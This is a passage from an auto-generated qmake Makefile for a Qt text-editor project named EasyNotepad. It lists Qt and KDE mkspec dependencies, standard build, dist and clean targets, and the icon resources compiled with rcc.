/usr/lib/qt/mkspecs/modules/qt_Kirigami2.pri \
/usr/lib/qt/mkspecs/modules/qt_KItemModels.pri \
/usr/lib/qt/mkspecs/modules/qt_KItemViews.pri \
/usr/lib/qt/mkspecs/modules/qt_KJobWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KJS.pri \
/usr/lib/qt/mkspecs/modules/qt_KJSApi.pri \
/usr/lib/qt/mkspecs/modules/qt_KNewStuff.pri \
/usr/lib/qt/mkspecs/modules/qt_KNewStuffCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KNotifications.pri \
/usr/lib/qt/mkspecs/modules/qt_KNotifyConfig.pri \
/usr/lib/qt/mkspecs/modules/qt_KNTLM.pri \
/usr/lib/qt/mkspecs/modules/qt_KParts.pri \
/usr/lib/qt/mkspecs/modules/qt_KPeople.pri \
/usr/lib/qt/mkspecs/modules/qt_KPeopleWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KPty.pri \
/usr/lib/qt/mkspecs/modules/qt_KRunner.pri \
/usr/lib/qt/mkspecs/modules/qt_KScreen.pri \
/usr/lib/qt/mkspecs/modules/qt_KService.pri \
/usr/lib/qt/mkspecs/modules/qt_KSyntaxHighlighting.pri \
/usr/lib/qt/mkspecs/modules/qt_KTextEditor.pri \
/usr/lib/qt/mkspecs/modules/qt_KTextWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KUnitConversion.pri \
/usr/lib/qt/mkspecs/modules/qt_KUserFeedbackCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KUserFeedbackWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KWallet.pri \
/usr/lib/qt/mkspecs/modules/qt_KWaylandClient.pri \
/usr/lib/qt/mkspecs/modules/qt_KWaylandServer.pri \
/usr/lib/qt/mkspecs/modules/qt_KWidgetsAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KWindowSystem.pri \
/usr/lib/qt/mkspecs/modules/qt_KXmlGui.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_accessibility_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_bootstrap_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_concurrent.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_concurrent_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_core.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_core_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_dbus.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_dbus_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_designer.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_designer_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_designercomponents_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_devicediscovery_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_edid_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_egl_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_eglfs_kms_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_eglfsdeviceintegration_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_eventdispatcher_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_fb_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_fontdatabase_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_glx_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_gui.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_gui_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_help.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_help_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_hunspellinputmethod_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_input_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_kms_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_linuxaccessibility_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_location.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_location_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimedia.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimedia_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimediagsttools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimediawidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimediawidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_network.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_network_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_opengl.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_opengl_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_openglextensions.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_openglextensions_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_packetprotocol_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdf.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdf_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdfwidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdfwidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_platformcompositor_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioning.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioning_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioningquick.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioningquick_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_printsupport.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_printsupport_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qml.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qml_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmldebug_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmldevtools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlmodels.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlmodels_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmltest.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmltest_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlworkerscript.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlworkerscript_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qtmultimediaquicktools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quick.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quick_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickcontrols2.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickcontrols2_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickparticles_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickshapes_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quicktemplates2.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quicktemplates2_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickwidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickwidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_script.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_script_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_scripttools.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_scripttools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sensors.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sensors_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_service_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sql.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sql_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_svg.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_svg_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_testlib.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_testlib_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_texttospeech.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_texttospeech_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_theme_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_uiplugin.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_uitools.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_uitools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_virtualkeyboard.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_virtualkeyboard_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_vulkan_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandclient.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandclient_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandcompositor.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandcompositor_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webchannel.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webchannel_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webengine.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webengine_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecore.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecore_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecoreheaders_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginewidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginewidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_widgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_widgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_x11extras.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_x11extras_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xcb_qpa_lib_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xkbcommon_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xml.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xml_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xmlpatterns.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xmlpatterns_private.pri \
/usr/lib/qt/mkspecs/modules/qt_phonon4qt5.pri \
/usr/lib/qt/mkspecs/modules/qt_Prison.pri \
/usr/lib/qt/mkspecs/modules/qt_QuickAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_Solid.pri \
/usr/lib/qt/mkspecs/modules/qt_SonnetCore.pri \
/usr/lib/qt/mkspecs/modules/qt_SonnetUi.pri \
/usr/lib/qt/mkspecs/modules/qt_ThreadWeaver.pri \
/usr/lib/qt/mkspecs/features/qt_functions.prf \
/usr/lib/qt/mkspecs/features/qt_config.prf \
/usr/lib/qt/mkspecs/linux-g++/qmake.conf \
/usr/lib/qt/mkspecs/features/spec_post.prf \
.qmake.stash \
/usr/lib/qt/mkspecs/features/exclusive_builds.prf \
/usr/lib/qt/mkspecs/features/toolchain.prf \
/usr/lib/qt/mkspecs/features/default_pre.prf \
/usr/lib/qt/mkspecs/features/resolve_config.prf \
/usr/lib/qt/mkspecs/features/default_post.prf \
/usr/lib/qt/mkspecs/features/warn_on.prf \
/usr/lib/qt/mkspecs/features/qt.prf \
/usr/lib/qt/mkspecs/features/resources_functions.prf \
/usr/lib/qt/mkspecs/features/resources.prf \
/usr/lib/qt/mkspecs/features/moc.prf \
/usr/lib/qt/mkspecs/features/unix/opengl.prf \
/usr/lib/qt/mkspecs/features/uic.prf \
/usr/lib/qt/mkspecs/features/unix/thread.prf \
/usr/lib/qt/mkspecs/features/qmake_use.prf \
/usr/lib/qt/mkspecs/features/file_copies.prf \
/usr/lib/qt/mkspecs/features/testcase_targets.prf \
/usr/lib/qt/mkspecs/features/exceptions.prf \
/usr/lib/qt/mkspecs/features/yacc.prf \
/usr/lib/qt/mkspecs/features/lex.prf \
EasyNotepad.pro \
resources.qrc \
qdarkstyle/style.qrc
$(QMAKE) -o Makefile EasyNotepad.pro
/usr/lib/qt/mkspecs/features/spec_pre.prf:
/usr/lib/qt/mkspecs/common/unix.conf:
/usr/lib/qt/mkspecs/common/linux.conf:
/usr/lib/qt/mkspecs/common/sanitize.conf:
/usr/lib/qt/mkspecs/common/gcc-base.conf:
/usr/lib/qt/mkspecs/common/gcc-base-unix.conf:
/usr/lib/qt/mkspecs/common/g++-base.conf:
/usr/lib/qt/mkspecs/common/g++-unix.conf:
/usr/lib/qt/mkspecs/qconfig.pri:
/usr/lib/qt/mkspecs/modules/qt_Attica.pri:
/usr/lib/qt/mkspecs/modules/qt_Baloo.pri:
/usr/lib/qt/mkspecs/modules/qt_BluezQt.pri:
/usr/lib/qt/mkspecs/modules/qt_KActivities.pri:
/usr/lib/qt/mkspecs/modules/qt_KActivitiesStats.pri:
/usr/lib/qt/mkspecs/modules/qt_KArchive.pri:
/usr/lib/qt/mkspecs/modules/qt_KAuth.pri:
/usr/lib/qt/mkspecs/modules/qt_KAuthCore.pri:
/usr/lib/qt/mkspecs/modules/qt_KBookmarks.pri:
/usr/lib/qt/mkspecs/modules/qt_KCMUtils.pri:
/usr/lib/qt/mkspecs/modules/qt_KCodecs.pri:
/usr/lib/qt/mkspecs/modules/qt_KCompletion.pri:
/usr/lib/qt/mkspecs/modules/qt_KConfigCore.pri:
/usr/lib/qt/mkspecs/modules/qt_KConfigGui.pri:
/usr/lib/qt/mkspecs/modules/qt_KConfigWidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_KContacts.pri:
/usr/lib/qt/mkspecs/modules/qt_KCoreAddons.pri:
/usr/lib/qt/mkspecs/modules/qt_KCrash.pri:
/usr/lib/qt/mkspecs/modules/qt_KDBusAddons.pri:
/usr/lib/qt/mkspecs/modules/qt_KDeclarative.pri:
/usr/lib/qt/mkspecs/modules/qt_KDESu.pri:
/usr/lib/qt/mkspecs/modules/qt_KDNSSD.pri:
/usr/lib/qt/mkspecs/modules/qt_KEmoticons.pri:
/usr/lib/qt/mkspecs/modules/qt_KFileMetaData.pri:
/usr/lib/qt/mkspecs/modules/qt_KGlobalAccel.pri:
/usr/lib/qt/mkspecs/modules/qt_KGuiAddons.pri:
/usr/lib/qt/mkspecs/modules/qt_KHolidays.pri:
/usr/lib/qt/mkspecs/modules/qt_KHtml.pri:
/usr/lib/qt/mkspecs/modules/qt_KI18n.pri:
/usr/lib/qt/mkspecs/modules/qt_KIconThemes.pri:
/usr/lib/qt/mkspecs/modules/qt_KIdleTime.pri:
/usr/lib/qt/mkspecs/modules/qt_KIOCore.pri:
/usr/lib/qt/mkspecs/modules/qt_KIOFileWidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_KIOGui.pri:
/usr/lib/qt/mkspecs/modules/qt_KIOWidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_Kirigami2.pri:
/usr/lib/qt/mkspecs/modules/qt_KItemModels.pri:
/usr/lib/qt/mkspecs/modules/qt_KItemViews.pri:
/usr/lib/qt/mkspecs/modules/qt_KJobWidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_KJS.pri:
/usr/lib/qt/mkspecs/modules/qt_KJSApi.pri:
/usr/lib/qt/mkspecs/modules/qt_KNewStuff.pri:
/usr/lib/qt/mkspecs/modules/qt_KNewStuffCore.pri:
/usr/lib/qt/mkspecs/modules/qt_KNotifications.pri:
/usr/lib/qt/mkspecs/modules/qt_KNotifyConfig.pri:
/usr/lib/qt/mkspecs/modules/qt_KNTLM.pri:
/usr/lib/qt/mkspecs/modules/qt_KParts.pri:
/usr/lib/qt/mkspecs/modules/qt_KPeople.pri:
/usr/lib/qt/mkspecs/modules/qt_KPeopleWidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_KPty.pri:
/usr/lib/qt/mkspecs/modules/qt_KRunner.pri:
/usr/lib/qt/mkspecs/modules/qt_KScreen.pri:
/usr/lib/qt/mkspecs/modules/qt_KService.pri:
/usr/lib/qt/mkspecs/modules/qt_KSyntaxHighlighting.pri:
/usr/lib/qt/mkspecs/modules/qt_KTextEditor.pri:
/usr/lib/qt/mkspecs/modules/qt_KTextWidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_KUnitConversion.pri:
/usr/lib/qt/mkspecs/modules/qt_KUserFeedbackCore.pri:
/usr/lib/qt/mkspecs/modules/qt_KUserFeedbackWidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_KWallet.pri:
/usr/lib/qt/mkspecs/modules/qt_KWaylandClient.pri:
/usr/lib/qt/mkspecs/modules/qt_KWaylandServer.pri:
/usr/lib/qt/mkspecs/modules/qt_KWidgetsAddons.pri:
/usr/lib/qt/mkspecs/modules/qt_KWindowSystem.pri:
/usr/lib/qt/mkspecs/modules/qt_KXmlGui.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_accessibility_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_bootstrap_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_concurrent.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_concurrent_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_core.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_core_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_dbus.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_dbus_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_designer.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_designer_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_designercomponents_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_devicediscovery_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_edid_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_egl_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_eglfs_kms_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_eglfsdeviceintegration_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_eventdispatcher_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_fb_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_fontdatabase_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_glx_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_gui.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_gui_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_help.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_help_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_hunspellinputmethod_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_input_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_kms_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_linuxaccessibility_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_location.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_location_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_multimedia.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_multimedia_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_multimediagsttools_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_multimediawidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_multimediawidgets_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_network.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_network_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_opengl.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_opengl_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_openglextensions.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_openglextensions_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_packetprotocol_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_pdf.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_pdf_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_pdfwidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_pdfwidgets_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_platformcompositor_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_positioning.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_positioning_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_positioningquick.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_positioningquick_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_printsupport.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_printsupport_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qml.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qml_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmldebug_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmldevtools_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmlmodels.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmlmodels_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmltest.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmltest_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmlworkerscript.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qmlworkerscript_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_qtmultimediaquicktools_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quick.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quick_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quickcontrols2.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quickcontrols2_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quickparticles_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quickshapes_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quicktemplates2.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quicktemplates2_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quickwidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_quickwidgets_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_script.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_script_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_scripttools.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_scripttools_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_sensors.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_sensors_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_service_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_sql.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_sql_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_svg.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_svg_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_testlib.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_testlib_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_texttospeech.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_texttospeech_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_theme_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_uiplugin.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_uitools.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_uitools_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_virtualkeyboard.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_virtualkeyboard_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_vulkan_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_waylandclient.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_waylandclient_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_waylandcompositor.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_waylandcompositor_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webchannel.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webchannel_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webengine.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webengine_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecore.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecore_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecoreheaders_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webenginewidgets.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_webenginewidgets_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_widgets.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_widgets_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_x11extras.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_x11extras_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_xcb_qpa_lib_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_xkbcommon_support_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_xml.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_xml_private.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_xmlpatterns.pri:
/usr/lib/qt/mkspecs/modules/qt_lib_xmlpatterns_private.pri:
/usr/lib/qt/mkspecs/modules/qt_phonon4qt5.pri:
/usr/lib/qt/mkspecs/modules/qt_Prison.pri:
/usr/lib/qt/mkspecs/modules/qt_QuickAddons.pri:
/usr/lib/qt/mkspecs/modules/qt_Solid.pri:
/usr/lib/qt/mkspecs/modules/qt_SonnetCore.pri:
/usr/lib/qt/mkspecs/modules/qt_SonnetUi.pri:
/usr/lib/qt/mkspecs/modules/qt_ThreadWeaver.pri:
/usr/lib/qt/mkspecs/features/qt_functions.prf:
/usr/lib/qt/mkspecs/features/qt_config.prf:
/usr/lib/qt/mkspecs/linux-g++/qmake.conf:
/usr/lib/qt/mkspecs/features/spec_post.prf:
.qmake.stash:
/usr/lib/qt/mkspecs/features/exclusive_builds.prf:
/usr/lib/qt/mkspecs/features/toolchain.prf:
/usr/lib/qt/mkspecs/features/default_pre.prf:
/usr/lib/qt/mkspecs/features/resolve_config.prf:
/usr/lib/qt/mkspecs/features/default_post.prf:
/usr/lib/qt/mkspecs/features/warn_on.prf:
/usr/lib/qt/mkspecs/features/qt.prf:
/usr/lib/qt/mkspecs/features/resources_functions.prf:
/usr/lib/qt/mkspecs/features/resources.prf:
/usr/lib/qt/mkspecs/features/moc.prf:
/usr/lib/qt/mkspecs/features/unix/opengl.prf:
/usr/lib/qt/mkspecs/features/uic.prf:
/usr/lib/qt/mkspecs/features/unix/thread.prf:
/usr/lib/qt/mkspecs/features/qmake_use.prf:
/usr/lib/qt/mkspecs/features/file_copies.prf:
/usr/lib/qt/mkspecs/features/testcase_targets.prf:
/usr/lib/qt/mkspecs/features/exceptions.prf:
/usr/lib/qt/mkspecs/features/yacc.prf:
/usr/lib/qt/mkspecs/features/lex.prf:
EasyNotepad.pro:
resources.qrc:
qdarkstyle/style.qrc:
qmake: FORCE
@$(QMAKE) -o Makefile EasyNotepad.pro
qmake_all: FORCE
all: Makefile EasyNotepad
dist: distdir FORCE
(cd `dirname $(DISTDIR)` && $(TAR) $(DISTNAME).tar $(DISTNAME) && $(COMPRESS) $(DISTNAME).tar) && $(MOVE) `dirname $(DISTDIR)`/$(DISTNAME).tar.gz . && $(DEL_FILE) -r $(DISTDIR)
distdir: FORCE
@test -d $(DISTDIR) || mkdir -p $(DISTDIR)
$(COPY_FILE) --parents $(DIST) $(DISTDIR)/
$(COPY_FILE) --parents resources.qrc qdarkstyle/style.qrc $(DISTDIR)/
$(COPY_FILE) --parents /usr/lib/qt/mkspecs/features/data/dummy.cpp $(DISTDIR)/
$(COPY_FILE) --parents etab.h mainwindow.h $(DISTDIR)/
$(COPY_FILE) --parents etab.cpp main.cpp mainwindow.cpp $(DISTDIR)/
$(COPY_FILE) --parents colorpicker.ui etab.ui mainwindow.ui $(DISTDIR)/
clean: compiler_clean
-$(DEL_FILE) $(OBJECTS)
-$(DEL_FILE) *~ core *.core
distclean: clean
-$(DEL_FILE) $(TARGET)
-$(DEL_FILE) .qmake.stash
-$(DEL_FILE) Makefile
####### Sub-libraries
mocclean: compiler_moc_header_clean compiler_moc_objc_header_clean compiler_moc_source_clean
mocables: compiler_moc_header_make_all compiler_moc_objc_header_make_all compiler_moc_source_make_all
check: first
benchmark: first
compiler_rcc_make_all: qrc_resources.cpp qrc_style.cpp
compiler_rcc_clean:
-$(DEL_FILE) qrc_resources.cpp qrc_style.cpp
qrc_resources.cpp: resources.qrc \
/usr/bin/rcc \
icons/delete_file_48px.png \
icons/numbered_list_48px.png \
icons/save_close_48px.png \
icons/italic_48px.png \
icons/choose_font.png \
icons/header_3_48px.png \
icons/icons8_copybook.ico \
icons/align_center_24px.png \
icons/align_justify_24px.png \
icons/new_copy_48px.png \
icons/folder_48px.png \
icons/bold.png \
icons/checklist.png \
icons/close_pane_48px.png \
icons/save_48px.png \
icons/close_window_48px.png \
icons/close_all_tabs_48px.png \
icons/save_as_48px.png \
icons/strikethrough_48px.png \
icons/list.png \
icons/exit_48px.png \
icons/header_1_48px.png \
icons/idea_48px.png \
icons/align_left_24px.png \
icons/delete_bin_24px.png \
icons/type_48px.png \
icons/increase_font_48px.png \
icons/underline_48px.png \
icons/align_right_24px.png \
icons/decrease_font_48px.png \
icons/header_2_48px.png \
icons/color_mode_48px.png \
icons/list_48px.png
/usr/bin/rcc -name resources resources.qrc -o qrc_resources.cpp
